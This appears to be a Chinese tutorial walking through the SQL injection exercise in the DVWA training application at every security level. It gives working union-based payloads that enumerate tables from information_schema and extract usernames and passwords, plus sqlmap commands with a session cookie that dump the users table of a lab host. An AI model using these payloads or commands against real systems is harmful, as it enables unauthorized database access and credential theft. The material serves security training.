SQL Injection(SQL回显注入)

注入思路:

是否有注入?是字符型还是数字型?查看回显位

1. Low

源码关键语句

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

通过查询语句可以看到,它是根据限制user_id字段来回显数据的,

我们的可控位置就是$id这个变量

可以通过单引号闭合,然后通过#注释掉之后的语句来实现sql注入

例如

$query = “SELECT first_name, last_name FROM users WHERE user_id = ‘1’ union select user,password from users #’;”;

获取字段个数

1’ order by n #


查看回显位

获取当前数据库
-1’ union select database(),version() #

查询database里的表名

information_schema是信息数据库,其中保存着关于mysql服务器所维护的所有其他数据库的信息。

-1’ union select 1,table_name COLLATE utf8_general_ci from information_schema.tables where table_schema=database() #

查询users里的列名
-1’ union select 1,column_name COLLATE utf8_general_ci from information_schema.columns where table_name=‘users’ #

查看字段数据
-1’ union select user,password from users #

2.Medium

只能选择固定的几个数字

添加了mysqli_real_escape_string() 函数,过滤了一些特殊字符

查看源码发现是数字型注入

可以用burp抓包,在burp里注入

burp重复Low级的操作,但是注意是数字型数据,所以不要用单引号闭合

3. High

多了LIMIT 1,SELECT只能执行一条查询语句。

绕过非常简单,只要#注释掉后面的语句就行了。

在搜索框或者burp实行和Low级别一样的操作就行了。

4.Impossible

只能输入数字,不可能产生注入。

5.运用sqlmap自动化注入

1.查看信息

首先-u指定可能存在url注入的url地址,然后–cookie指定cookie值

python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low"

结果:

可以查看到靶机的一些信息。

2.查看数据库名

–dbs参数代表查看存在的数据库名

python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low" --dbs

结果:

3.查看表名

-D指定数据库名为dvwa,–tables查看表名

python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low" -D dvwa --tables

结果:

user表明显是存放用户数据的表,所以下一步查看此表数据

4.查看字段名

-T指定表名,–columns 查看字段名

python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low" -D dvwa -T users --columns

结果:

可以查看存在password字段

5.查看字段数据

-C指定查看的字段名,–dump查看字段数据

python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low" -D dvwa -T users -C "user,password" --dump

结果:

登录

尝试拿获取的数据登录

登陆成功,用户名为gordonb

DVWA SQL Injection(SQL注入)全等级的更多相关文章

  1. Fortify Audit Workbench 笔记 SQL Injection SQL注入

    SQL Injection SQL注入 Abstract 通过不可信来源的输入构建动态 SQL 指令,攻击者就能够修改指令的含义或者执行任意 SQL 命令. Explanation SQL injec ...

  2. SQL Injection(SQL注入)

    什么是SQL注入? SQL(结构化查询语言)注入,通常称为 SQLi,是对 Web 应用程序数据库服务器的攻击,会导致执行恶意查询.当 Web 应用程序使用未经正确验证的用户输入与数据库通信时,攻击者 ...

  3. (十一)DVWA全等级SQL Injection(Blind)盲注--手工测试过程解析

    一.DVWA-SQL Injection(Blind)测试分析 SQL盲注 VS 普通SQL注入: 普通SQL注入 SQL盲注 1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提 ...

  4. DVWA全级别之SQL Injection(SQL注入)

    DVWA全级别之SQL Injection(注入)   DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web ...

  5. DVWA系列2:SQL Injection

    DVWA系列2:SQL Injection 前言 SQL 注入是比较常见的攻击类型,之前一直听说过,也尝试看过一些教程,但其中的单引号,字符串拼接等感觉有点抽象,不知道为什么要这么做.这次就使用 DV ...

  6. 新手指南:DVWA-1.9全级别教程之SQL Injection

    *本文原创作者:lonehand,转载须注明来自FreeBuf.COM 目前,最新的DVWA已经更新到1.9版本(http://www.dvwa.co.uk/),而网上的教程大多停留在旧版本,且没有针 ...

  7. DVWA之SQL Injection

    SQL Injection SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害是巨大的,常常 ...

  8. Portswigger web security academy:SQL injection

    Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...

  9. DVWA(三):SQL injection 全等级SQL注入

    (本文不定期更新) 一.所需环境: 1.DVWA 2.web环境 phpstudy/wamp 3.burp suite 二.SQL注入产生的原因: 程序员在编写代码的时候,没有对用户输入数据的合法性进 ...

  10. (十二)DVWA全等级SQL Injection(Blind)盲注--SQLMap测试过程解析

    一.测试前分析 前文<DVWA全等级SQL Injection(Blind)盲注-手工测试过程解析> 通过手工测试的方式详细分析了SQL Injection(Blind)盲注漏洞的利用过程 ...

随机推荐

  1. ISO/OSI七层模型的分层与作用

    ISO/OSI的七层模型 第七层:应用层 为用户提供服务,给用户一个操作界面,如window的图形界面,Linux的命令行: 第六层:表示层 数据提供表示:把01二进制转换为图像数字等用户可以看懂的内 ...

  2. PostgreSQL学习笔记-6.基础知识:ALTER、TRUNCATE 、View(视图)、TRANSACTION 事务、LOCK 锁

    ALTER TABLE 命令 在 PostgreSQL 中,ALTER TABLE 命令用于添加,修改,删除一张已经存在表的列. 另外你也可以用 ALTER TABLE 命令添加和删除约束. 语法 用 ...

  3. 01-spfile和pfile的区别,生成,加载和修复

    oracle数据库的配置文件指的是系统在启动到"nomount"阶段需要加载的文件,也叫做pfile或者spfile,但是其实pfile和spfile是不同的文件. 不同的数据库配 ...

  4. Go 函数多返回值错误处理与error 类型介绍

    Go 函数多返回值错误处理与error 类型介绍 目录 Go 函数多返回值错误处理与error 类型介绍 一.error 类型与错误值构造 1.1 Error 接口介绍 1.2 构造错误值的方法 1. ...

  5. [最优化DP]决策单调性

    决策单调性的概念&证明工具: 决策单调性,是在最优化dp中的可能出现的一种性质,利用它我们可以降低转移的复杂度. 首先dp中会有转移,每个状态都由若干个状态转移而来,最优化dp比较特殊,只能由 ...

  6. 15. 从零开始编写一个类nginx工具, 如果将nginx.conf转成yaml,toml,json会怎么样

    wmproxy wmproxy将用Rust实现http/https代理, socks5代理, 反向代理, 静态文件服务器,后续将实现websocket代理, 内外网穿透等, 会将实现过程分享出来, 感 ...

  7. NewStarCTF 2023 公开赛道 WEEK1|CRYPTO全解

    一.brainfuck 附件信息 ++++++++[>>++>++++>++++++>++++++++>++++++++++>++++++++++++> ...

  8. jenkins实践篇(1)——基于分支的自动发布

    问题背景 想起初来公司时,我们还是在发布机上直接执行发布脚本来运行和部署服务,并且正式环境和测试环境的脚本都在一起,直接手动操作脚本时存在比较大的风险就是将环境部署错误,并且当时脚本部署逻辑还没有检测 ...

  9. Asp.Net Core webapi+net6 使用资源筛选器(过滤器) 做缓存

    写一个特性类,用来做标记 [AttributeUsage(AttributeTargets.Method)] //只对方法有效 public class ResourceFilterAttribute ...

  10. 【源码系列#01】vue3响应式原理(Proxy)

    专栏分享:vue2源码专栏,vue3源码专栏,vue router源码专栏,玩具项目专栏,硬核推荐 欢迎各位ITer关注点赞收藏 在学习 Vue3 是如何进行对象的响应式代理之前,我想我们应该先去了解 ...